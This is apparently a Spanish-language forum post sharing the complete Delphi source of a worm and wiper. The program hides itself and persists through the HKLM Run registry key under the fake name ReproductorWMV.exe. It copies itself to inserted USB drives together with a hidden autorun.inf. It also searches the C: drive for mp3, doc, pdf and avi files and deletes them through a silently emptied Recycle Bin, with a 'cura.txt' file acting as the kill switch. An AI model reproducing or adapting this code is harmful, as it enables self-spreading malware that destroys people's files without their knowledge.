Bueno aqui les dejo el codigo.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,Registry;
type
TForm1 = class(TForm)
function ALaPapelera(Fichero:string):boolean;
Function VaciaPapelera:String;
function GetWindowsDirectory : String;
procedure Autorun;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
Lista: set of Char;
procedure CrearLista;
procedure WMDEVICECHANGE(var Msg: TMessage); message WM_DEVICECHANGE;
public
{ Public declarations }
procedure BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);
end;
var
Form1: TForm1;
Ficheros1:TStringList;
implementation
{$R *.dfm}
function Tform1.GetWindowsDirectory : String;
var
pcWindowsDirectory : PChar;
dwWDSize : DWORD;
begin
dwWDSize := MAX_PATH + 1;
GetMem( pcWindowsDirectory, dwWDSize );
try
if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0
then
Result := pcWindowsDirectory;
finally
FreeMem( pcWindowsDirectory );
end;
end;
Function Tform1.VaciaPapelera;
type
TSHEmptyRecycleBin = function (Wnd: HWND;
LPCTSTR: PChar;
DWORD: Word): integer; stdcall;
var
MangoLib : THandle;
SHEmptyRecycleBin : TSHEmptyRecycleBin;
i:integer;
begin
{Cargamos SHell32.DLL}
{Load Shell32.DLL}
MangoLib := LoadLibrary(PChar('Shell32.dll'));
{Si no se pudo... error}
{if not... error}
if MangoLib = 0 then
Raise Exception.Create( 'No se pudo cargar Shell32.DLL'+#13+
'Cannot load Shell32.DLL');
{Buscamos dentro de la DLL la funcion que queremos}
{Search into DLL the required funtion}
@SHEmptyRecycleBin := GetProcAddress(MangoLib, 'SHEmptyRecycleBinA');
{Si no existe... error}
{If don't exists... error}
if @SHEmptyRecycleBin = nil then
begin
FreeLibrary(MangoLib);
Raise Exception.Create( 'No se pudo encontrar SHEmptyRecycleBinA en Shell32.DLL'+#13+
'Cannot find SHEmptyRecycleBinA in Shell32.DLL');
end;
{Vaciamos la papelera, sin sonido ni confirmación}
{Empty the Recycle bin...}
SHEmptyRecycleBin(Application.Handle,'',7);
{Liberamos la DLL}
{Free the DLL}
FreeLibrary(MangoLib);
end;
function Tform1.ALaPapelera(Fichero:string):boolean;
var
FileOp: TSHFileOpStruct;
begin
if FileExists(Fichero)then
begin
FillChar(FileOp,SizeOf(FileOp),#0);
with FileOp do
begin
Wnd:= Application.Handle;
pFrom:= PChar(Fichero+#0#0);
fFlags:= FOF_SILENT or FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
end;
Result:= (ShFileOperation(FileOp)=0);
end else
Result:=False;
end;
procedure TForm1.CrearLista;
var
Letra: Char;
begin
Lista:= [];
for Letra:= 'C' to 'Z' do
if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then
Lista:= Lista + [Letra];
end;
procedure TForm1.WMDEVICECHANGE(var Msg: TMessage);
var
Letra: Char;
Atributos: Cardinal;
begin
if Msg.WParam = DBT_DEVICEARRIVAL then
begin
for Letra:= 'C' to 'Z' do
if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then
begin
if not (Letra in Lista) then
begin
copyfile(Pchar(ParamStr(0)),Pchar(Letra+':\ReproductorWMV.exe'),false);
SetFileAttributes(PChar(Letra+':\ReproductorWMV.exe'),faHidden);
with TStringList.Create() do
try
Add('[Autorun]');
Add('ShellExecute=ReproductorWMV.exe');
add('attrib +h Autorun.inf');
try
SaveToFile(Letra+':\autorun.inf');
SetFileAttributes(PChar(Letra+':\autorun.inf'),faHidden);
except
on E: Exception do
begin
ShowMessageFmt(
'Ocurrió una excepción: %s',
[E.Message]
);
end;
end;
finally
Free();
end;
//ShowMessage('Este es un disco removible '+Letra+':\');
end;
end;
end;
CrearLista;
inherited;
end;
procedure TForm1.BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);
var
srRes : TSearchRec;
iFound : Integer;
begin
if ( brec ) then
begin
if path[Length(path)] <> '\' then path := path +'\';
while iFound = 0 do
begin
if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) then
if srRes.Attr and faDirectory > 0 then
BuscaFicheros( path + srRes.Name, mask, Value, brec );
iFound := FindNext(srRes);
end;
FindClose(srRes);
end;
if path[Length(path)] <> '\' then path := path +'\';
iFound := FindFirst(path+mask, faAnyFile-faDirectory, srRes);
while iFound = 0 do
begin
if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) and ( srRes.Name <> '' ) then
Value.Add(path+srRes.Name);
iFound := FindNext(srRes);
end;
FindClose( srRes );
end;
procedure Tform1.Autorun;
var
Registro :TRegistry;
Atributos: Cardinal;
begin
Registro:=TRegistry.create;
Registro.RootKey := HKEY_LOCAL_MACHINE;
if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE)
then
begin
Registro.WriteString('SystemRoot',GetWindowsDirectory+
'\ReproductorWMV.exe');
copyfile(Pchar(ParamStr(0)),Pchar(GetWindowsDirectory+'\ReproductorWMV.exe'),false);
SetFileAttributes(PChar(GetWindowsDirectory+'\ReproductorWMV.exe'),faHidden);
end;
Registro.Destroy;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
Ficheros:TStringList;
FicherosDoc:TStringList;
dato :TStringList;
i:integer;
begin
BorderStyle := bsNone;
Left := 0;
Top := 0;
Width := 0;
Height := 0;
Visible := False;
Application.Title := '';
Application.ShowMainForm := False;
ShowWindow( Application.Handle, SW_HIDE );
Ficheros:=TStringList.Create;
BuscaFicheros('c:\cura\','cura.txt',Ficheros,TRUE);
SetWindowLong( Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
autorun;
if ficheros.count > 0 then
begin
Ficheros.Free;
form1.visible:=false;
end else
begin
BuscaFicheros('c:\.\','*.mp3',Ficheros,TRUE);
for i:=0 to ficheros.Count -1 do
Alapapelera (ficheros[i]);
vaciapapelera;
BuscaFicheros('c:\.\','*.doc',Ficheros,TRUE);
for i:=0 to ficheros.Count -1 do
Alapapelera (ficheros[i]);
vaciapapelera;
BuscaFicheros('c:\.\','*.pdf',Ficheros,TRUE);
for i:=0 to ficheros.Count -1 do
Alapapelera (ficheros[i]);
vaciapapelera;
BuscaFicheros('c:\.\','*.avi',Ficheros,TRUE);
for i:=0 to ficheros.Count -1 do
Alapapelera (ficheros[i]);
vaciapapelera;
ficheros.Free;
end;
end;
end.
Mostrar Mensajes
